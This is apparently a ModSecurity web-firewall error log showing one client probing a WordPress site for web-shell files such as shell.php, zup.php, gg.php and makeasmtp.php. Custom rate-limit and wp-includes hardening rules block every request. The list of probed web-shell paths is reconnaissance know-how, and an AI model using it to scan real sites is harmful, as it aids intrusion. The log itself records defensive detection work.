[Tue May 19 02:33:14.507196 2026] [:error] [pid 44087:tid 44089] [client 20.151.117.104:14047] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "agtbam5HPHbH9GK7l6wR-QAAAcA"]
[Tue May 19 02:33:14.932735 2026] [:error] [pid 44087:tid 44104] [client 20.151.117.104:14054] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "agtbam5HPHbH9GK7l6wR-gAAAc8"]
[Tue May 19 02:33:15.385425 2026] [:error] [pid 44087:tid 44113] [client 20.151.117.104:13891] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "agtba25HPHbH9GK7l6wR-wAAAdc"]
[Tue May 19 02:33:15.843251 2026] [:error] [pid 44087:tid 44091] [client 20.151.117.104:14321] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "agtba25HPHbH9GK7l6wR_AAAAcI"]
[Tue May 19 02:33:16.269164 2026] [:error] [pid 44010:tid 44024] [client 20.151.117.104:14087] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "agtbbDcFUuogD3-74-aQBAAAAMw"]
[Tue May 19 02:33:16.877682 2026] [:error] [pid 36492:tid 36524] [client 20.151.117.104:14019] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "agtbbGCVlogrkn9m2w4u0QAAAAI"]
[Tue May 19 02:33:17.344386 2026] [:error] [pid 36579:tid 36585] [client 20.151.117.104:13966] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "agtbbV-aoZxBfgL5vDy6FAAAAEM"]
[Tue May 19 02:33:17.769824 2026] [:error] [pid 43916:tid 43929] [client 20.151.117.104:13934] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "agtbbdQC236p33zJJvngpwAAAIU"]
[Tue May 19 02:33:18.298519 2026] [:error] [pid 36579:tid 36587] [client 20.151.117.104:13953] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "agtbbl-aoZxBfgL5vDy6FQAAAEU"]
[Tue May 19 02:33:18.735762 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14310] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agtbbmCVlogrkn9m2w4u1QAAAAQ"]
[Tue May 19 02:33:19.178254 2026] [:error] [pid 36492:tid 36538] [client 20.151.117.104:14228] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agtbb2CVlogrkn9m2w4u1wAAABA"]
[Tue May 19 02:33:19.696602 2026] [:error] [pid 36492:tid 36535] [client 20.151.117.104:13976] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agtbb2CVlogrkn9m2w4u2AAAAA0"]
[Tue May 19 02:33:20.140887 2026] [:error] [pid 36492:tid 36542] [client 20.151.117.104:14127] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agtbcGCVlogrkn9m2w4u2wAAABQ"]
[Tue May 19 02:33:20.607724 2026] [:error] [pid 36492:tid 36537] [client 20.151.117.104:13912] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "agtbcGCVlogrkn9m2w4u4AAAAA8"]
[Tue May 19 02:33:21.054141 2026] [:error] [pid 43916:tid 43940] [client 20.151.117.104:13902] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "agtbcdQC236p33zJJvngqAAAAJA"]
[Tue May 19 02:33:21.506833 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:14009] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "agtbcU555B9CZb6D60kGcAAAAVY"]
[Tue May 19 02:33:21.929985 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:13989] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "agtbcU555B9CZb6D60kGcQAAAUY"]
[Tue May 19 02:33:22.378661 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:13990] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtbck555B9CZb6D60kGcwAAAVU"]
[Tue May 19 02:33:22.796647 2026] [:error] [pid 36491:tid 36509] [client 20.151.117.104:14037] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtbck555B9CZb6D60kGdQAAAU4"]
[Tue May 19 02:33:23.219166 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:13979] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtbc2CVlogrkn9m2w4u6AAAAAQ"]
[Tue May 19 02:33:23.674514 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:13938] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtbc0555B9CZb6D60kGdgAAAUU"]
[Tue May 19 02:33:24.125635 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14221] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "agtbdE555B9CZb6D60kGeAAAAVQ"]
[Tue May 19 02:33:25.091687 2026] [:error] [pid 36493:tid 36561] [client 20.151.117.104:13841] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "agtbdQynkzQB5nM668rouwAAAQw"]
[Tue May 19 02:33:25.816261 2026] [:error] [pid 36492:tid 36542] [client 20.151.117.104:14254] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "agtbdWCVlogrkn9m2w4u6wAAABQ"]
[Tue May 19 02:33:26.247399 2026] [:error] [pid 36579:tid 36601] [client 20.151.117.104:14012] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "agtbdl-aoZxBfgL5vDy6FwAAAFM"]
[Tue May 19 02:33:26.707595 2026] [:error] [pid 36579:tid 36594] [client 20.151.117.104:13958] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "agtbdl-aoZxBfgL5vDy6GQAAAEw"]
[Tue May 19 02:33:27.229423 2026] [:error] [pid 36579:tid 36586] [client 20.151.117.104:14309] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "agtbd1-aoZxBfgL5vDy6GwAAAEQ"]
[Tue May 19 02:33:27.646425 2026] [:error] [pid 36579:tid 36595] [client 20.151.117.104:14042] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "agtbd1-aoZxBfgL5vDy6HQAAAE0"]
[Tue May 19 02:33:28.076546 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:13919] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "agtbeF-aoZxBfgL5vDy6HwAAAEk"]
[Tue May 19 02:33:28.504380 2026] [:error] [pid 36493:tid 36550] [client 20.151.117.104:14008] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "agtbeAynkzQB5nM668rovAAAAQE"]
[Tue May 19 02:33:29.053767 2026] [:error] [pid 36492:tid 36543] [client 20.151.117.104:14236] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "agtbeWCVlogrkn9m2w4u7QAAABU"]
[Tue May 19 02:33:29.639986 2026] [:error] [pid 36579:tid 36592] [client 20.151.117.104:13925] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "agtbeV-aoZxBfgL5vDy6IgAAAEo"]
[Tue May 19 02:33:30.185650 2026] [:error] [pid 36579:tid 36596] [client 20.151.117.104:14305] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "agtbel-aoZxBfgL5vDy6IwAAAE4"]
[Tue May 19 02:33:30.696150 2026] [:error] [pid 36492:tid 36541] [client 20.151.117.104:13993] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "agtbemCVlogrkn9m2w4u8AAAABM"]
[Tue May 19 02:33:31.117640 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:13973] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "agtbe0555B9CZb6D60kGegAAAVg"]
[Tue May 19 02:33:31.557477 2026] [:error] [pid 44087:tid 44100] [client 20.151.117.104:14231] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "agtbe25HPHbH9GK7l6wR_wAAAcs"]
[Tue May 19 02:33:32.089944 2026] [:error] [pid 36492:tid 36544] [client 20.151.117.104:13905] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "agtbfGCVlogrkn9m2w4u8QAAABY"]
[Tue May 19 02:33:32.517356 2026] [:error] [pid 36492:tid 36534] [client 20.151.117.104:13977] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "agtbfGCVlogrkn9m2w4u8gAAAAw"]
[Tue May 19 02:33:32.970975 2026] [:error] [pid 43916:tid 43926] [client 20.151.117.104:14288] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "agtbfNQC236p33zJJvngqgAAAII"]
[Tue May 19 02:33:33.398721 2026] [:error] [pid 36492:tid 36524] [client 20.151.117.104:13918] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "agtbfWCVlogrkn9m2w4u9gAAAAI"]
[Tue May 19 02:33:33.838618 2026] [:error] [pid 36492:tid 36539] [client 20.151.117.104:14226] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "agtbfWCVlogrkn9m2w4u9wAAABE"]
[Tue May 19 02:33:34.353942 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14001] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "agtbfmCVlogrkn9m2w4u-AAAAAQ"]
[Tue May 19 02:33:34.799107 2026] [:error] [pid 36493:tid 36558] [client 20.151.117.104:14004] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "agtbfgynkzQB5nM668rovQAAAQk"]
[Tue May 19 02:33:35.282621 2026] [:error] [pid 36493:tid 36569] [client 20.151.117.104:14216] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "agtbfwynkzQB5nM668rovgAAARQ"]
[Tue May 19 02:33:35.701210 2026] [:error] [pid 36492:tid 36530] [client 20.151.117.104:14211] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "agtbf2CVlogrkn9m2w4u-gAAAAg"]
[Tue May 19 02:33:36.142389 2026] [:error] [pid 36492:tid 36543] [client 20.151.117.104:14225] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "agtbgGCVlogrkn9m2w4u-wAAABU"]
[Tue May 19 02:33:36.764908 2026] [:error] [pid 44046:tid 44067] [client 20.151.117.104:14326] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "agtbgIYF4k2jfXJBXk0UggAAAZM"]
[Tue May 19 02:33:37.243102 2026] [:error] [pid 44010:tid 44017] [client 20.151.117.104:13890] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "agtbgTcFUuogD3-74-aQBgAAAMU"]
[Tue May 19 02:33:37.747579 2026] [:error] [pid 44087:tid 44090] [client 20.151.117.104:14241] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "agtbgW5HPHbH9GK7l6wSAQAAAcE"]
[Tue May 19 02:33:38.198675 2026] [:error] [pid 44046:tid 44072] [client 20.151.117.104:13999] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "agtbgoYF4k2jfXJBXk0UhAAAAZg"]
[Tue May 19 02:33:38.696956 2026] [:error] [pid 43916:tid 43932] [client 20.151.117.104:13903] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "agtbgtQC236p33zJJvngqwAAAIg"]
[Tue May 19 02:33:39.370204 2026] [:error] [pid 43916:tid 43928] [client 20.151.117.104:14158] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "agtbg9QC236p33zJJvngrAAAAIQ"]
[Tue May 19 02:33:40.220042 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:13923] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "agtbhGCVlogrkn9m2w4u_gAAAAk"]
[Tue May 19 02:33:40.940132 2026] [:error] [pid 44046:tid 44070] [client 20.151.117.104:13937] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "agtbhIYF4k2jfXJBXk0UhwAAAZY"]
[Tue May 19 02:33:41.521803 2026] [:error] [pid 44046:tid 44049] [client 20.151.117.104:14333] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "agtbhYYF4k2jfXJBXk0UiAAAAYE"]
[Tue May 19 02:33:41.966675 2026] [:error] [pid 36492:tid 36533] [client 20.151.117.104:14161] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "agtbhWCVlogrkn9m2w4vAAAAAAs"]
